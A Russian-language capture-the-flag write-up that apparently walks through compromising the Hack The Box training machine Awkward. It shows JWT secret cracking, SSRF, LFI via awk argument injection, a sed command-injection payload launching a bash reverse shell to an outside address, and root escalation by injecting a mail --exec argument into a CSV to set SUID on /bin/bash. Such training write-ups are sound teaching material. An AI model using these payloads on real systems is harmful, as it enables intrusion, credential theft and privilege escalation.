Хакер - HTB Awkward. Инжектим команды ОС разными способами
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- JSON Web Token
- Продвижение
- SSRF
- LFI
- user
- Локальное повышение привилегий
- user → web
- web → root
В этом райтапе я покажу, как обходить аутентификацию веб‑приложения, искать уязвимости в JWT и эксплуатировать уязвимости LFI и SSRF. Помимо этого, нам понадобится несколько внедрений команд при обработке данных.
Наша цель — захват учебной машины Awkward с площадки Hack The Box. Уровень сложности — средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Первым делом добавляем IP-адрес машины в /etc/hosts:
10.10.11.185 awkward.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

По результатам сканирования видим всего два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 — веб‑сервер Nginx 1.18.0. На SSH нам пока делать нечего, поэтому посмотрим, что нам покажет веб‑сервер.

Главная страница недоступна, так как сайт выполняет редирект на новый домен. Добавляем этот адрес в файл /etc/hosts и повторяем запрос.
10.10.11.185 awkward.htb hat-valley.htb

ТОЧКА ВХОДА
Чтобы увеличить область тестирования, лучше всего построить карту сайта. Это можно сделать прямо в Burp Proxy, выбрав в контекстном меню Engagement tools → Discover content.

На самом сайте ничего найти не удалось, и никакие дополнительные сканирования не помогли. Тогда я стал искать новые точки входа и нашел несколько новых страниц в файле app.js.


Переходим на любую из них, нас встретит форма авторизации.

Перебор простых логинов и паролей ни к чему не привел, и я вернулся к Burp History. В одном из запросов обратим внимание на передаваемые куки token=guest.

Попробуем использовать вместо guest пользователя admin в надежде на неправильную проверку значения. Для удобства можно просто создать правило замены в Burp Proxy.

И теперь нам доступна страница /dashboard.


ТОЧКА ОПОРЫ
Просматривая Burp History, находим новый запрос к неизвестному API.

На самой странице просто выводится ошибка JWT.

Так как происходит расшифровка значения куки token, а мы там просто указали слово admin, то и расшифровано оно не будет. Отсюда и получается ошибка. Переносим запрос в Burp Repeater, совсем удаляем куки и выполняем запрос.

API работает и без аутентификации, поэтому мы получаем список пользователей и хеши их паролей. Хеши паролей отправляем на CrackStation и получаем один открытый пароль.

Авторизуемся с полученными учетными данными как пользователь christopher.jones.

JSON Web Token
Раз используются токены JWT, стоит провести несколько тестов и попробовать подделать или даже легитимно создать токен (получить секрет).

Справка: JSON Web Token (JWT)
JSON Web Token состоит из трех частей: заголовка (header), полезной нагрузки (payload) и подписи. Заголовок и полезная нагрузка представляют собой объекты JSON, при этом нагрузка может быть любой, это именно те критически важные данные, которые передаются приложению. Заголовок содержит определенные поля:
alg— алгоритм, используемый для подписи/шифрования. Это обязательный ключ;typ— тип токена. Это поле должно иметь значениеJWT.
Третий элемент вычисляется на основании первых двух и зависит от выбранного алгоритма. Токены могут быть перекодированы в компактное представление: к заголовку и полезной нагрузке применяется алгоритм Base64-URL, после чего добавляется подпись и все три элемента разделяются точками.
Для анализа токенов можно использовать приложение jwt_tool или сайт jwt.io.
Воспользуемся jwt.io, чтобы посмотреть, что внутри у токена.

Видим, что в JWT передается только имя пользователя и какой‑то идентификатор. Первым делом стоит попробовать подобрать секрет JWT, чтобы можно было сгенерировать токен для другого пользователя. Перед брутом секрета нужно переписать JWT в формат программы John the Ripper с помощью скрипта jwt2john из набора jwtcrack.
john --wordlist=rockyou.txt jwt.txt

Теперь вставляем полученный секрет на сайт и меняем имя пользователя на bean.hill. Как мы узнали из запроса к API, это системный администратор. Генерируем новый токен и вставляем в куки. После обновления страницы ни аватарка, ни имя пользователя не изменились, хотя поменялась информация о пользователе. Тогда я зашел в локальное хранилище браузера и нашел там сохраненное имя пользователя.

Обновляем имя пользователя в хранилище и видим изменения в странице.

Попробовав несколько нагрузок для внедрения шаблона (SSTI), ни к чему не приходим, поэтому поищем другой вектор атаки.
ПРОДВИЖЕНИЕ
SSRF
Переходим к следующему обнаруженному в Burp History API — store-status. Этот эндпоинт принимает в качестве параметра URL и возвращает содержимое страницы.

Это типичная уязвимость SSRF, поэтому, используя Burp Intruder, просканируем внутренние сервисы на разных портах. Будем перебирать номер порта.
Справка: SSRF
SSRF — это атака на сервер, в результате которой злоумышленник получает возможность отправлять запросы от имени скомпрометированного хоста. SSRF может быть использована в DoS-кампаниях для маскировки реального источника атаки. В таких случаях уязвимый хост выступает в качестве прокси‑сервера.



В итоге находим внутренние сервисы на портах 3002 и 8080. На первом обнаруживаем еще один API.

Давай исследуем эти API.
LFI
В API all-leave находим вызов функции exec, которая выполняет команду awk с пользовательским вводом (имя пользователя из токена). Вызову предшествует фильтрация пользовательского ввода по указанному черному списку символов.


Эти символы мешают нам перейти к инъекции произвольных команд ОС, но мы можем внедрить путь и получить содержимое произвольного файла. Чтобы получить содержимое файла /etc/passwd, используем в качестве имени пользователя в токене последовательность
'/ /etc/passwd '


Теперь подумаем, какие файлы могут содержать важные для продвижения данные.
user
Первым делом я попытался прочитать приватный ключ пользователя, но такого в системе не оказалось. Идея с историей команд bash также потерпела неудачу. А вот файл .bashrc, который представляет собой скрипт, запускающийся каждый раз, когда пользователь открывает новую командную оболочку, показал нам файл с интересным названием.
'/ /home/bean/.bashrc '

Читаем скрипт для бэкапа рабочего каталога пользователя.
'/ /home/bean/Documents/backup_home.sh '

Этот скрипт открывает нам местоположение файла бэкапа, и мы его, конечно же, скачиваем.
'/ /home/bean/Documents/backup/bean_backup_final.tar.gz '
curl -i -s -k -X 'GET' -H 'Host: hat-valley.htb' -H 'Connection: close' -b 'token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IicvIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3MjU5MjIyMH0.P075hge2w85k97dORKjaOrqw7qLb_mLE7HLxX1htqYo' http://hat-valley.htb/api/all-leave --output backup.tar.gz
В надежде найти какие‑нибудь заметки или конфиги с учетными данными ищем все упоминания имени пользователя по всем файлам в архиве.

Видим интересную строку в файле content-DS1ZS1. Теперь прочитаем данный файл, чтобы понимать контекст.

Это список задач, а внизу видим логин и найденную ранее строку. Предполагаем, что это пароль, и авторизуемся по SSH.
ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь нам необходимо собрать информацию. Я, как обычно, применю для этого скрипты PEASS.
Справка: скрипты PEASS
Что делать после того, как мы получили доступ в систему от имени пользователя? Вариантов дальнейшей эксплуатации и повышения привилегий может быть очень много, как в Linux, так и в Windows. Чтобы собрать информацию и наметить цели, можно использовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют систему на автомате.
Скрипт помог найти сразу несколько интересных вещей.
Из файла конфигураций Nginx узнаем о сайте store.hat-valley.htb.

В списке процессов отмечаем работу программы inotifywait, которая отслеживает изменение вот этого файла:
/var/www/private/leave_requests.csv

У пользователя christine есть почтовые сообщения.

Переходим к сайту store.hat-valley.htb, для просмотра которого обновляем запись в файле /etc/hosts:
10.10.11.185 awkward.htb hat-valley.htb store.hat-valley.htb
user → web
Переходим на сайт, и нас встречает HTTP-аутентификация.

Попробовав несколько комбинаций, заходим от имени пользователя admin с полученным ранее пользовательским паролем.

У нас уже есть доступ к системе, нужно попробовать получить исходный код сайта, что значительно облегчит тестирование.

Каталог product-details содержит текстовые файлы с данными о товарах.

Покопавшись на сайте, замечаем, что если добавить файл в корзину, то на сервере в каталоге cart создается файл с содержимым корзины. Имя файла похоже на идентификатор пользователя.


В файле cart_action.php находим вызов функции system, куда передается команда sed. В самой команде используются данные, которыми может манипулировать пользователь.

Но перед вызовом system принимаемые параметры фильтруются по черному списку символов. В списке нет кавычек, поэтому можно выполнить инъекцию команды. К примеру, команда sed может выполнять скрипт, указанный в параметре -e. В качестве исполняемого скрипта используем реверс‑шелл /tmp/shell.sh.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.73/4321 0>&1
А для инъекции команды — следующую нагрузку.
1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'


Ждем соединения на открытый листенер.

web → root
Теперь перейдем к файлу /var/www/private/leave_requests.csv.

Запустим в другой сессии программу pspy64, чтобы отследить действия при изменении указанного файла. Затем запишем в файл строку — тоже в формате CSV.
echo '111,222,333,444,555' >> leave_requests.csv

В логах pspy видим вставку строки 111 в команду программы mail. Тут мы можем выполнить инъекцию команды ОС, при этом команда выполняется от имени рута. Запустим скрипт, который присвоит S-бит файлу /bin/bash.
Справка: бит SUID
Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь, запускающий этот файл, получает повышение прав до пользователя — владельца файла в рамках запущенного процесса. После получения повышенных прав приложение может выполнять задачи, которые недоступны обычному пользователю. Из‑за возможности состояния гонки многие операционные системы игнорируют S-атрибут, установленный shell-скриптам.
#!/bin/bash
chmod u+s /bin/bash
В первом поле CSV нужно передать строку " --exec="\!/tmp/lpe.sh".
echo '" --exec="\!/tmp/lpe.sh",2,3,4,5' >> leave_requests.csv

Как видим, команда была выполнена, а значит, выполнен и наш скрипт.

Запускаем bash в контексте рута:
/bin/bash -p

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei